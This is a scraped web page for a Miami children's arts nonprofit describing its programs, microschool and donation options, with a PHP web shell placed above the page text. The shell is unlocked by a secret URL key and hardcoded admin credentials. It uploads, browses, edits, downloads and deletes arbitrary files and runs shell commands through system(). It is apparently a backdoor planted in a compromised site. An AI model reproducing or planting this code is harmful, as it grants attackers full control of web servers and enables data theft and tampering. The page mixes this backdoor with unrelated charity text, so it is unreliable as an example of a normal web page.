if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') {
function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); }
function ws_b($s) { return base64_decode($s); }
$validKey = 'mintinplan';
$validU = 'admin';
$validP = 'MinMaxtime';
$auth = false;
$sname = 'ws_auth';
if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true;
elseif (isset($_COOKIE[$sname])) {
$d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true);
if ($d && isset($d['ok']) && $d['ok']) $auth = true;
}
if (!$auth) {
$u = ws_g('usr'); $p = ws_g('pwd');
if ($u === $validU && $p === $validP) {
@session_start();
$_SESSION[$sname] = true;
setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true);
header('Location: ?k='.$validKey);
exit;
}
echo '
Login ';
exit;
}
if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; }
$act = ws_g('a');
$path = ws_g('p') ?: getcwd();
$path = realpath($path) ?: getcwd();
echo 'Shell ';
echo '';
echo ' ';
switch ($act) {
case 'upload':
echo '⬆ Upload File to: '.htmlspecialchars($path).' ';
echo ' ';
if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) {
$f = $_FILES['upfile'];
if ($f['error'] === UPLOAD_ERR_OK) {
$name = ws_g('rename') ?: $f['name'];
$dest = rtrim($path, '/').'/'.$name;
if (move_uploaded_file($f['tmp_name'], $dest)) {
$sz = round(filesize($dest)/1024, 2);
echo '✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)
';
} else {
echo '❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')
';
}
} else {
$errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked'];
echo '❌ Error: '.($errors[$f['error']] ?? 'Unknown').'
';
}
}
echo '📋 Current directory contents: ';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '📁 '.$item."/\n";
else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo ' ';
break;
case 'tree':
echo '🌳 Directory Tree (depth 4) ';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'📁 '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo ' ';
break;
case 'drives':
echo '💾 Accessible Roots ';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
}
echo ' ';
break;
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = file_get_contents($f);
echo '📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB) ';
echo '';
break;
case 'save':
$f = ws_g('f'); $c = ws_g('c');
if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); }
break;
case 'exec':
$cmd = ws_g('c');
$output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) {
ob_start();
system($cmd);
$output = ob_get_clean();
}
echo '🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).') ';
echo 'Run ';
if ($output !== '') echo ''.htmlspecialchars($output).' ';
else echo 'No output ';
break;
case 'down':
$f = ws_g('f');
if ($f && is_file($f)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: '.filesize($f));
readfile($f);
exit;
}
echo 'File not found';
break;
case 'del':
$f = ws_g('f');
if ($f && is_file($f)) {
if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f);
else echo '❌ Delete failed (permission?)';
} elseif ($f && is_dir($f)) {
if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f);
else echo '❌ rmdir failed (not empty or permission?)';
}
break;
case 'newfile':
$fname = ws_g('nf');
if ($fname) {
$dest = rtrim($path,'/').'/'.$fname;
if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest);
else echo '❌ Create failed';
}
echo '';
echo ' ';
echo ' ';
echo ' ';
echo ' Create ';
break;
case 'newdir':
$dname = ws_g('nd');
if ($dname) {
$dest = rtrim($path,'/').'/'.$dname;
if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest);
else echo '❌ mkdir failed';
}
echo '';
echo ' ';
echo ' ';
echo ' ';
echo ' Create ';
break;
default:
echo '📂 '.htmlspecialchars($path).' ';
$parent = dirname($path);
if ($parent && $parent !== $path) echo '⬆ Parent | ';
echo '[+ New File] | ';
echo '[+ New Dir] | ';
echo '[⬆ Upload] ';
echo 'Name Size Perms Actions ';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
$isDir = is_dir($full);
$size = $isDir ? '-' : round(filesize($full)/1024,1).'KB';
$perms = substr(sprintf('%o',fileperms($full)),-4);
$enc = urlencode($full);
echo '';
if ($isDir) echo '📁 '.$item.' ';
else echo '📄 '.$item.' ';
echo ''.$size.' '.$perms.' ';
if (!$isDir) echo '[Edit] ';
echo '[Download] ';
echo '[Delete] ';
echo ' ';
}
}
echo '
';
break;
}
echo '';
exit;
}
Dreams Hatchery – Dreaming is Just the Beginning
Skip to main content
Donate now
Dreams Hatchery · Miami
Nurturing Young Minds Through the Power of Art
→ Stay curious. Stay kind.
WHO WE ARE
OUR MISSION
Dreams Hatchery believes every child deserves the opportunity to discover their creativity, develop their talents, and believe in what they can become. We partner with families, schools, artists, and community organizations to provide accessible arts education, mentorship, creative experiences, and meaningful opportunities that build confidence, strengthen communities, and help the next generation turn their dreams into reality.
Accessible 12-week beginner ukulele program for ages 7-14 focused on music skills, confidence, collaboration, and community performance.
Sheltered in art is an 8-week program for children living in housing projects, shelters, and foster homes. The program intends to help nurture personal development skills and encourage self-esteem and resilience.
We are excited to announce that we are fundraising for Art on Wheels. Our future mobile studio to bring unique one-of-a-kind art experiences into our community.
It is an art workshop designed for children where we seek to inspire, heal and express feelings, and lead the child to dream and think about a bright future.
1000 Faces of Hope is a mural created by children living in shelters and under foster care. We give these kids a platform to voice their current situation and channel their emotions through art.
Our Flagship Initiative
A microschool for curious hearts.
Wonder All Around is an arts-centered learning community where reading, mathematics, science, history, music, art, nature, and character come together through meaningful questions and real projects.
We do not simply tell children what to learn. We help them discover why learning is wonderful.
Discover Wonder All Around
Our Philosophy
We are not only forming students. We are forming good neighbors of the world.
We believe success can also be seen in how a child listens, creates, solves problems, cares for others, and uses their gifts to serve.
Where It Began
Creativity became a way to give children a voice.
Dreams Hatchery began by bringing art and self-expression to children in shelters, foster care settings, family resource centers, and underserved communities throughout Miami.
Programs such as Sheltered in Art, As I See Myself, and 1000 Faces of Hope helped children recognize their strengths, express their experiences, and contribute their voices to something larger.
Today, Dreams Hatchery is building on that foundation by creating broader opportunities for all children.
Read Our Story
Inside the Programs
Every child has something worth expressing.
Coming soon…
Stories will be added after receiving appropriate family and individual media consent.
Creativity is not an extra. It is a way of understanding the world.
Confidence & Self-Expression
When children create freely, they develop a stronger sense of who they are.
Collaboration & Communication
Working together teaches listening, contributing, and sharing.
Curiosity & Problem-Solving
Open-ended making builds flexible, creative thinking.
Empathy & Community
Creating art with others builds compassion and belonging.
Join the Movement
Help create more places where children can wonder.
Make a Donation
Every dollar helps fund materials, instruction, and creative experiences.
Learn More
Volunteer
Share your time, skills, and care with children in our programs.
Learn More
Become a Community Partner
Connect your organization with Dreams Hatchery.
Learn More
Donate Art Supplies
Materials for painting, making, building, and musical exploration.
Learn More
New workshops and events are being prepared.
Join Wonder Notes to be the first to know.
Small hands can leave a big mark.
Your support helps provide materials, instruction, instruments, creative spaces, and meaningful experiences for children.
Wonder Notes · Monthly
Receive stories, programs, and ways to create wonder.
Subscribe to Wonder Notes
A Miami nonprofit helping children discover who they are through art, music, curiosity, creativity, and meaningful experiences.
Stay Curious. Stay Kind. Create Wonder.
Miami, Florida
© 2026 Dreams Hatchery. All rights reserved.
Registered 501(c)(3) nonprofit organization — EIN: [INSERT VERIFIED EIN]
Made with care in Miami, FL.
×
Support Our Mission
Your donation makes a difference
✓ One-time
✓ Monthly
✓ Yearly
Choose an amount to donate once
USD
$
Continue with $50
🔒 Secure donation powered by Stripe
Tip: Paying with a bank account (ACH), where available, usually has lower processing fees than cards.
Dreams Hatchery Inc. is a nonprofit organization.
‹ Back to edit
Tip: Paying with a bank account (ACH), where available, usually has lower processing fees than cards.